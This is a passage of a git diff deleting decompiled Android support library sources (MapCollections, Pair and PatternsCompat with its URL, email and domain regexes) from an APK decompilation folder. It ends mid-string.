@Override // java.util.Set, java.util.Collection - public boolean containsAll(Collection collection) { - return MapCollections.containsAllHelper(MapCollections.this.colGetMap(), collection); - } - - @Override // java.util.Set, java.util.Collection - public boolean isEmpty() { - return MapCollections.this.colGetSize() == 0; - } - - @Override // java.util.Set, java.util.Collection, java.lang.Iterable - public Iterator iterator() { - return new ArrayIterator(0); - } - - @Override // java.util.Set, java.util.Collection - public boolean remove(Object obj) { - int colIndexOfKey = MapCollections.this.colIndexOfKey(obj); - if (colIndexOfKey >= 0) { - MapCollections.this.colRemoveAt(colIndexOfKey); - return true; - } - return false; - } - - @Override // java.util.Set, java.util.Collection - public boolean removeAll(Collection collection) { - return MapCollections.removeAllHelper(MapCollections.this.colGetMap(), collection); - } - - @Override // java.util.Set, java.util.Collection - public boolean retainAll(Collection collection) { - return MapCollections.retainAllHelper(MapCollections.this.colGetMap(), collection); - } - - @Override // java.util.Set, java.util.Collection - public int size() { - return MapCollections.this.colGetSize(); - } - - @Override // java.util.Set, java.util.Collection - public Object[] toArray() { - return MapCollections.this.toArrayHelper(0); - } - - @Override // java.util.Set, java.util.Collection - public T[] toArray(T[] tArr) { - return (T[]) MapCollections.this.toArrayHelper(tArr, 0); - } - - @Override // java.util.Set, java.util.Collection - public boolean equals(Object obj) { - return MapCollections.equalsSetHelper(this, obj); - } - - @Override // java.util.Set, java.util.Collection - public int hashCode() { - int i = 0; - for (int colGetSize = MapCollections.this.colGetSize() - 1; colGetSize >= 0; colGetSize--) { - Object colGetEntry = MapCollections.this.colGetEntry(colGetSize, 0); - i += colGetEntry == null ? 0 : colGetEntry.hashCode(); - } - return i; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - final class ValuesCollection implements Collection { - ValuesCollection() { - } - - @Override // java.util.Collection - public boolean add(V v) { - throw new UnsupportedOperationException(); - } - - @Override // java.util.Collection - public boolean addAll(Collection collection) { - throw new UnsupportedOperationException(); - } - - @Override // java.util.Collection - public void clear() { - MapCollections.this.colClear(); - } - - @Override // java.util.Collection - public boolean contains(Object obj) { - return MapCollections.this.colIndexOfValue(obj) >= 0; - } - - @Override // java.util.Collection - public boolean containsAll(Collection collection) { - Iterator it = collection.iterator(); - while (it.hasNext()) { - if (!contains(it.next())) { - return false; - } - } - return true; - } - - @Override // java.util.Collection - public boolean isEmpty() { - return MapCollections.this.colGetSize() == 0; - } - - @Override // java.util.Collection, java.lang.Iterable - public Iterator iterator() { - return new ArrayIterator(1); - } - - @Override // java.util.Collection - public boolean remove(Object obj) { - int colIndexOfValue = MapCollections.this.colIndexOfValue(obj); - if (colIndexOfValue >= 0) { - MapCollections.this.colRemoveAt(colIndexOfValue); - return true; - } - return false; - } - - @Override // java.util.Collection - public boolean removeAll(Collection collection) { - int colGetSize = MapCollections.this.colGetSize(); - int i = 0; - boolean z = false; - while (i < colGetSize) { - if (collection.contains(MapCollections.this.colGetEntry(i, 1))) { - MapCollections.this.colRemoveAt(i); - i--; - colGetSize--; - z = true; - } - i++; - } - return z; - } - - @Override // java.util.Collection - public boolean retainAll(Collection collection) { - int colGetSize = MapCollections.this.colGetSize(); - int i = 0; - boolean z = false; - while (i < colGetSize) { - if (!collection.contains(MapCollections.this.colGetEntry(i, 1))) { - MapCollections.this.colRemoveAt(i); - i--; - colGetSize--; - z = true; - } - i++; - } - return z; - } - - @Override // java.util.Collection - public int size() { - return MapCollections.this.colGetSize(); - } - - @Override // java.util.Collection - public Object[] toArray() { - return MapCollections.this.toArrayHelper(1); - } - - @Override // java.util.Collection - public T[] toArray(T[] tArr) { - return (T[]) MapCollections.this.toArrayHelper(tArr, 1); - } - } - - public static boolean containsAllHelper(Map map, Collection collection) { - Iterator it = collection.iterator(); - while (it.hasNext()) { - if (!map.containsKey(it.next())) { - return false; - } - } - return true; - } - - public static boolean removeAllHelper(Map map, Collection collection) { - int size = map.size(); - Iterator it = collection.iterator(); - while (it.hasNext()) { - map.remove(it.next()); - } - return size != map.size(); - } - - public static boolean retainAllHelper(Map map, Collection collection) { - int size = map.size(); - Iterator it = map.keySet().iterator(); - while (it.hasNext()) { - if (!collection.contains(it.next())) { - it.remove(); - } - } - return size != map.size(); - } - - public Object[] toArrayHelper(int i) { - int colGetSize = colGetSize(); - Object[] objArr = new Object[colGetSize]; - for (int i2 = 0; i2 < colGetSize; i2++) { - objArr[i2] = colGetEntry(i2, i); - } - return objArr; - } - - /* JADX WARN: Multi-variable type inference failed */ - public T[] toArrayHelper(T[] tArr, int i) { - int colGetSize = colGetSize(); - if (tArr.length < colGetSize) { - tArr = (T[]) ((Object[]) Array.newInstance(tArr.getClass().getComponentType(), colGetSize)); - } - for (int i2 = 0; i2 < colGetSize; i2++) { - tArr[i2] = colGetEntry(i2, i); - } - if (tArr.length > colGetSize) { - tArr[colGetSize] = null; - } - return tArr; - } - - public static boolean equalsSetHelper(Set set, Object obj) { - if (set == obj) { - return true; - } - if (obj instanceof Set) { - Set set2 = (Set) obj; - try { - if (set.size() == set2.size()) { - if (set.containsAll(set2)) { - return true; - } - } - return false; - } catch (ClassCastException | NullPointerException unused) { - } - } - return false; - } - - public Set> getEntrySet() { - if (this.mEntrySet == null) { - this.mEntrySet = new EntrySet(); - } - return this.mEntrySet; - } - - public Set getKeySet() { - if (this.mKeySet == null) { - this.mKeySet = new KeySet(); - } - return this.mKeySet; - } - - public Collection getValues() { - if (this.mValues == null) { - this.mValues = new ValuesCollection(); - } - return this.mValues; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/util/Pair.java b/apk_3230/decompiled_source/sources/android/support/v4/util/Pair.java deleted file mode 100644 index 597d06d..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/util/Pair.java +++ /dev/null @@ -1,34 +0,0 @@ -package android.support.v4.util; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class Pair { - public final F first; - public final S second; - - public Pair(F f, S s) { - this.first = f; - this.second = s; - } - - public boolean equals(Object obj) { - if (obj instanceof Pair) { - Pair pair = (Pair) obj; - return objectsEqual(pair.first, this.first) && objectsEqual(pair.second, this.second); - } - return false; - } - - private static boolean objectsEqual(Object obj, Object obj2) { - return obj == obj2 || (obj != null && obj.equals(obj2)); - } - - public int hashCode() { - F f = this.first; - int hashCode = f == null ? 0 : f.hashCode(); - S s = this.second; - return hashCode ^ (s != null ? s.hashCode() : 0); - } - - public static Pair create(A a, B b) { - return new Pair<>(a, b); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/util/PatternsCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/util/PatternsCompat.java deleted file mode 100644 index c669a22..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/util/PatternsCompat.java +++ /dev/null @@ -1,56 +0,0 @@ -package android.support.v4.util; - -import java.util.regex.Pattern; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class PatternsCompat { - public static final Pattern AUTOLINK_EMAIL_ADDRESS; - public static final Pattern AUTOLINK_WEB_URL; - public static final Pattern DOMAIN_NAME; - public static final Pattern EMAIL_ADDRESS; - private static final String EMAIL_ADDRESS_DOMAIN = "(?=.{1,255}(?:\\s|$|^))([a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]](?:[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]_\\-]{0,61}[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]]){0,1}\\.)+(xn\\-\\-[\\w\\-]{0,58}\\w|[a-zA-Z[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]]{2,63})"; - private static final String EMAIL_ADDRESS_LOCAL_PART = "[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]\\+\\-_%'](?:[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]\\+\\-_%'\\.]{1,62}[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]\\+\\-_%'])?"; - private static final String EMAIL_CHAR = "a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]\\+\\-_%'"; - private static final String HOST_NAME = "([a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]](?:[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]_\\-]{0,61}[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]]){0,1}\\.)+(xn\\-\\-[\\w\\-]{0,58}\\w|[a-zA-Z[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]]{2,63})"; - static final String IANA_TOP_LEVEL_DOMAINS = "(?:(?:aaa|aarp|abb|abbott|abogado|academy|accenture|accountant|accountants|aco|active|actor|ads|adult|aeg|aero|afl|agency|aig|airforce|airtel|allfinanz|alsace|amica|amsterdam|android|apartments|app|apple|aquarelle|aramco|archi|army|arpa|arte|asia|associates|attorney|auction|audio|auto|autos|axa|azure|a[cdefgilmoqrstuwxz])|(?:band|bank|bar|barcelona|barclaycard|barclays|bargains|bauhaus|bayern|bbc|bbva|bcn|beats|beer|bentley|berlin|best|bet|bharti|bible|bid|bike|bing|bingo|bio|biz|black|blackfriday|bloomberg|blue|bms|bmw|bnl|bnpparibas|boats|bom|bond|boo|boots|boutique|bradesco|bridgestone|broadway|broker|brother|brussels|budapest|build|builders|business|buzz|bzh|b[abdefghijmnorstvwyz])|(?:cab|cafe|cal|camera|camp|cancerresearch|canon|capetown|capital|car|caravan|cards|care|career|careers|cars|cartier|casa|cash|casino|cat|catering|cba|cbn|ceb|center|ceo|cern|cfa|cfd|chanel|channel|chat|cheap|chloe|christmas|chrome|church|cipriani|cisco|citic|city|cityeats|claims|cleaning|click|clinic|clothing|cloud|club|clubmed|coach|codes|coffee|college|cologne|com|commbank|community|company|computer|comsec|condos|construction|consulting|contractors|cooking|cool|coop|corsica|country|coupons|courses|credit|creditcard|creditunion|cricket|crown|crs|cruises|csc|cuisinella|cymru|cyou|c[acdfghiklmnoruvwxyz])|(?:dabur|dad|dance|date|dating|datsun|day|dclk|deals|degree|delivery|dell|delta|democrat|dental|dentist|desi|design|dev|diamonds|diet|digital|direct|directory|discount|dnp|docs|dog|doha|domains|doosan|download|drive|durban|dvag|d[ejkmoz])|(?:earth|eat|edu|education|email|emerck|energy|engineer|engineering|enterprises|epson|equipment|erni|esq|estate|eurovision|eus|events|everbank|exchange|expert|exposed|express|e[cegrstu])|(?:fage|fail|fairwinds|faith|family|fan|fans|farm|fashion|feedback|ferrero|film|final|finance|financial|firmdale|fish|fishing|fit|fitness|flights|florist|flowers|flsmidth|fly|foo|football|forex|forsale|forum|foundation|frl|frogans|fund|furniture|futbol|fyi|f[ijkmor])|(?:gal|gallery|game|garden|gbiz|gdn|gea|gent|genting|ggee|gift|gifts|gives|giving|glass|gle|global|globo|gmail|gmo|gmx|gold|goldpoint|golf|goo|goog|google|gop|gov|grainger|graphics|gratis|green|gripe|group|gucci|guge|guide|guitars|guru|g[abdefghilmnpqrstuwy])|(?:hamburg|hangout|haus|healthcare|help|here|hermes|hiphop|hitachi|hiv|hockey|holdings|holiday|homedepot|homes|honda|horse|host|hosting|hoteles|hotmail|house|how|hsbc|hyundai|h[kmnrtu])|(?:ibm|icbc|ice|icu|ifm|iinet|immo|immobilien|industries|infiniti|info|ing|ink|institute|insure|int|international|investments|ipiranga|irish|ist|istanbul|itau|iwc|i[delmnoqrst])|(?:jaguar|java|jcb|jetzt|jewelry|jlc|jll|jobs|joburg|jprs|juegos|j[emop])|(?:kaufen|kddi|kia|kim|kinder|kitchen|kiwi|koeln|komatsu|krd|kred|kyoto|k[eghimnprwyz])|(?:lacaixa|lancaster|land|landrover|lasalle|lat|latrobe|law|lawyer|lds|lease|leclerc|legal|lexus|lgbt|liaison|lidl|life|lifestyle|lighting|limited|limo|linde|link|live|lixil|loan|loans|lol|london|lotte|lotto|love|ltd|ltda|lupin|luxe|luxury|l[abcikrstuvy])|(?:madrid|maif|maison|man|management|mango|market|marketing|markets|marriott|mba|media|meet|melbourne|meme|memorial|men|menu|meo|miami|microsoft|mil|mini|mma|mobi|moda|moe|moi|mom|monash|money|montblanc|mormon|mortgage|moscow|motorcycles|mov|movie|movistar|mtn|mtpc|mtr|museum|mutuelle|m[acdeghklmnopqrstuvwxyz])|(?:nadex|nagoya|name|navy|nec|net|netbank|network|neustar|new|news|nexus|ngo|nhk|nico|ninja|nissan|nokia|nra|nrw|ntt|nyc|n[acefgilopruz])|(?:obi|office|okinawa|omega|one|ong|onl|online|ooo|oracle|orange|org|organic|osaka|otsuka|ovh|om)|(?:page|panerai|paris|partners|parts|party|pet|pharmacy|philips|photo|photography|photos|physio|piaget|pics|pictet|pictures|ping|pink|pizza|place|play|playstation|plumbing|plus|pohl|poker|porn|post|praxi|press|pro|prod|productions|prof|properties|property|protection|pub|p[aefghklmnrstwy])|(?:qpon|quebec|qa)|(?:racing|realtor|realty|recipes|red|redstone|rehab|reise|reisen|reit|ren|rent|rentals|repair|report|republican|rest|restaurant|review|reviews|rich|ricoh|rio|rip|rocher|rocks|rodeo|rsvp|ruhr|run|rwe|ryukyu|r[eosuw])|(?:saarland|sakura|sale|samsung|sandvik|sandvikcoromant|sanofi|sap|sapo|sarl|saxo|sbs|sca|scb|schmidt|scholarships|school|schule|schwarz|science|scor|scot|seat|security|seek|sener|services|seven|sew|sex|sexy|shiksha|shoes|show|shriram|singles|site|ski|sky|skype|sncf|soccer|social|software|sohu|solar|solutions|sony|soy|space|spiegel|spreadbetting|srl|stada|starhub|statoil|stc|stcgroup|stockholm|studio|study|style|sucks|supplies|supply|support|surf|surgery|suzuki|swatch|swiss|sydney|systems|s[abcdeghijklmnortuvxyz])|(?:tab|taipei|tatamotors|tatar|tattoo|tax|taxi|team|tech|technology|tel|telefonica|temasek|tennis|thd|theater|theatre|tickets|tienda|tips|tires|tirol|today|tokyo|tools|top|toray|toshiba|tours|town|toyota|toys|trade|trading|training|travel|trust|tui|t[cdfghjklmnortvwz])|(?:ubs|university|uno|uol|u[agksyz])|(?:vacations|vana|vegas|ventures|versicherung|vet|viajes|video|villas|vin|virgin|vision|vista|vistaprint|viva|vlaanderen|vodka|vote|voting|voto|voyage|v[aceginu])|(?:wales|walter|wang|watch|webcam|website|wed|wedding|weir|whoswho|wien|wiki|williamhill|win|windows|wine|wme|work|works|world|wtc|wtf|w[fs])|(?:ελ|бел|дети|ком|мкд|мон|москва|онлайн|орг|рус|рф|сайт|срб|укр|қаз|հայ|קום|ارامكو|الاردن|الجزائر|السعودية|المغرب|امارات|ایران|بازار|بھارت|تونس|سودان|سورية|شبكة|عراق|عمان|فلسطين|قطر|كوم|مصر|مليسيا|موقع|कॉम|नेट|भारत|संगठन|ভারত|ਭਾਰਤ|ભારત|இந்தியா|இலங்கை|சிங்கப்பூர்|భారత్|ලංකා|คอม|ไทย|გე|みんな|グーグル|コム|世界|中信|中国|中國|中文网|企业|佛山|信息|健康|八卦|公司|公益|台湾|台灣|商城|商店|商标|在线|大拿|娱乐|工行|广东|慈善|我爱你|手机|政务|政府|新加坡|新闻|时尚|机构|淡马锡|游戏|点看|移动|组织机构|网址|网店|网络|谷歌|集团|飞利浦|餐厅|香港|닷넷|닷컴|삼성|한국|xbox|xerox|xin|xn\\-\\-11b4c3d|xn\\-\\-1qqw23a|xn\\-\\-30rr7y|xn\\-\\-3bst00m|xn\\-\\-3ds443g|xn\\-\\-3e0b707e|xn\\-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ngbc5azd|xn\\-\\-node|xn\\-\\-nqv7f|xn\\-\\-nqv7fs00ema|xn\\-\\-nyqy26a|xn\\-\\-o3cw4h|xn\\-\\-ogbpf8fl|xn\\-\\-p1acf|xn\\-\\-p1ai|xn\\-\\-pgbs0dh|xn\\-\\-pssy2u|xn\\-\\-q9jyb4c|xn\\-\\-qcka1pmc|xn\\-\\-qxam|xn\\-\\-rhqv96g|xn\\-\\-s9brj9c|xn\\-\\-ses554g|xn\\-\\-t60b56a|xn\\-\\-tckwe|xn\\-\\-unup4y|xn\\-\\-vermgensberater\\-ctb|xn\\-\\-vermgensberatung\\-pwb|xn\\-\\-vhquv|xn\\-\\-vuq861b|xn\\-\\-wgbh1c|xn\\-\\-wgbl6a|xn\\-\\-xhq521b|xn\\-\\-xkc2al3hye2a|xn\\-\\-xkc2dl3a5ee0h|xn\\-\\-y9a3aq|xn\\-\\-yfro4i67o|xn\\-\\-ygbi2ammx|xn\\-\\-zfr164b|xperia|xxx|xyz)|(?:yachts|yamaxun|yandex|yodobashi|yoga|yokohama|youtube|y[et])|(?:zara|zip|zone|zuerich|z[amw]))"; - public static final Pattern IP_ADDRESS; - private static final String IRI_LABEL = "[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]](?:[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]_\\-]{0,61}[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]]){0,1}"; - private static final String LABEL_CHAR = "a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]"; - private static final String PATH_AND_QUERY = "[/\\?](?:(?:[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]];/\\?:@&=#~\\-\\.\\+!\\*'\\(\\),_\\$])|(?:%[a-fA-F0-9]{2}))*"; - private static final String PORT_NUMBER = "\\:\\d{1,5}"; - private static final String PROTOCOL = "(?i:http|https|rtsp)://"; - private static final String PUNYCODE_TLD = "xn\\-\\-[\\w\\-]{0,58}\\w"; - private static final String RELAXED_DOMAIN_NAME; - private static final Pattern STRICT_DOMAIN_NAME; - private static final String STRICT_HOST_NAME = "(?:(?:[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]](?:[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]_\\-]{0,61}[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]]){0,1}\\.)+(?:(?:(?:aaa|aarp|abb|abbott|abogado|academy|accenture|accountant|accountants|aco|active|actor|ads|adult|aeg|aero|afl|agency|aig|airforce|airtel|allfinanz|alsace|amica|amsterdam|android|apartments|app|apple|aquarelle|aramco|archi|army|arpa|arte|asia|associates|attorney|auction|audio|auto|autos|axa|azure|a[cdefgilmoqrstuwxz])|(?:band|bank|bar|barcelona|barclaycard|barclays|bargains|bauhaus|bayern|bbc|bbva|bcn|beats|beer|bentley|berlin|best|bet|bharti|bible|bid|bike|bing|bingo|bio|biz|black|blackfriday|bloomberg|blue|bms|bmw|bnl|bnpparibas|boats|bom|bond|boo|boots|boutique|bradesco|bridgestone|broadway|broker|brother|brussels|budapest|build|builders|business|buzz|bzh|b[abdefghijmnorstvwyz])|(?:cab|cafe|cal|camera|camp|cancerresearch|canon|capetown|capital|car|caravan|cards|care|career|careers|cars|cartier|casa|cash|casino|cat|catering|cba|cbn|ceb|center|ceo|cern|cfa|cfd|chanel|channel|chat|cheap|chloe|christmas|chrome|church|cipriani|cisco|citic|city|cityeats|claims|cleaning|click|clinic|clothing|cloud|club|clubmed|coach|codes|coffee|college|cologne|com|commbank|community|company|computer|comsec|condos|construction|consulting|contractors|cooking|cool|coop|corsica|country|coupons|courses|credit|creditcard|creditunion|cricket|crown|crs|cruises|csc|cuisinella|cymru|cyou|c[acdfghiklmnoruvwxyz])|(?:dabur|dad|dance|date|dating|datsun|day|dclk|deals|degree|delivery|dell|delta|democrat|dental|dentist|desi|design|dev|diamonds|diet|digital|direct|directory|discount|dnp|docs|dog|doha|domains|doosan|download|drive|durban|dvag|d[ejkmoz])|(?:earth|eat|edu|education|email|emerck|energy|engineer|engineering|enterprises|epson|equipment|erni|esq|estate|eurovision|eus|events|everbank|exchange|expert|exposed|express|e[cegrstu])|(?:fage|fail|fairwinds|faith|family|fan|fans|farm|fashion|feedback|ferrero|film|final|finance|financial|firmdale|fish|fishing|fit|fitness|flights|florist|flowers|flsmidth|fly|foo|football|forex|forsale|forum|foundation|frl|frogans|fund|furniture|futbol|fyi|f[ijkmor])|(?:gal|gallery|game|garden|gbiz|gdn|gea|gent|genting|ggee|gift|gifts|gives|giving|glass|gle|global|globo|gmail|gmo|gmx|gold|goldpoint|golf|goo|goog|google|gop|gov|grainger|graphics|gratis|green|gripe|group|gucci|guge|guide|guitars|guru|g[abdefghilmnpqrstuwy])|(?:hamburg|hangout|haus|healthcare|help|here|hermes|hiphop|hitachi|hiv|hockey|holdings|holiday|homedepot|homes|honda|horse|host|hosting|hoteles|hotmail|house|how|hsbc|hyundai|h[kmnrtu])|(?:ibm|icbc|ice|icu|ifm|iinet|immo|immobilien|industries|infiniti|info|ing|ink|institute|insure|int|international|investments|ipiranga|irish|ist|istanbul|itau|iwc|i[delmnoqrst])|(?:jaguar|java|jcb|jetzt|jewelry|jlc|jll|jobs|joburg|jprs|juegos|j[emop])|(?:kaufen|kddi|kia|kim|kinder|kitchen|kiwi|koeln|komatsu|krd|kred|kyoto|k[eghimnprwyz])|(?:lacaixa|lancaster|land|landrover|lasalle|lat|latrobe|law|lawyer|lds|lease|leclerc|legal|lexus|lgbt|liaison|lidl|life|lifestyle|lighting|limited|limo|linde|link|live|lixil|loan|loans|lol|london|lotte|lotto|love|ltd|ltda|lupin|luxe|luxury|l[abcikrstuvy])|(?:madrid|maif|maison|man|management|mango|market|marketing|markets|marriott|mba|media|meet|melbourne|meme|memorial|men|menu|meo|miami|microsoft|mil|mini|mma|mobi|moda|moe|moi|mom|monash|money|montblanc|mormon|mortgage|moscow|motorcycles|mov|movie|movistar|mtn|mtpc|mtr|museum|mutuelle|m[acdeghklmnopqrstuvwxyz])|(?:nadex|nagoya|name|navy|nec|net|netbank|network|neustar|new|news|nexus|ngo|nhk|nico|ninja|nissan|nokia|nra|nrw|ntt|nyc|n[acefgilopruz])|(?:obi|office|okinawa|omega|one|ong|onl|online|ooo|oracle|orange|org|organic|osaka|otsuka|ovh|om)|(?:page|panerai|paris|partners|parts|party|pet|pharmacy|philips|photo|photography|photos|physio|piaget|pics|pictet|pictures|ping|pink|pizza|place|play|playstation|plumbing|plus|pohl|poker|porn|post|praxi|press|pro|prod|productions|prof|properties|property|protection|pub|p[aefghklmnrstwy])|(?:qpon|quebec|qa)|(?:racing|realtor|realty|recipes|red|redstone|rehab|reise|reisen|reit|ren|rent|rentals|repair|report|republican|rest|restaurant|review|reviews|rich|ricoh|rio|rip|rocher|rocks|rodeo|rsvp|ruhr|run|rwe|ryukyu|r[eosuw])|(?:saarland|sakura|sale|samsung|sandvik|sand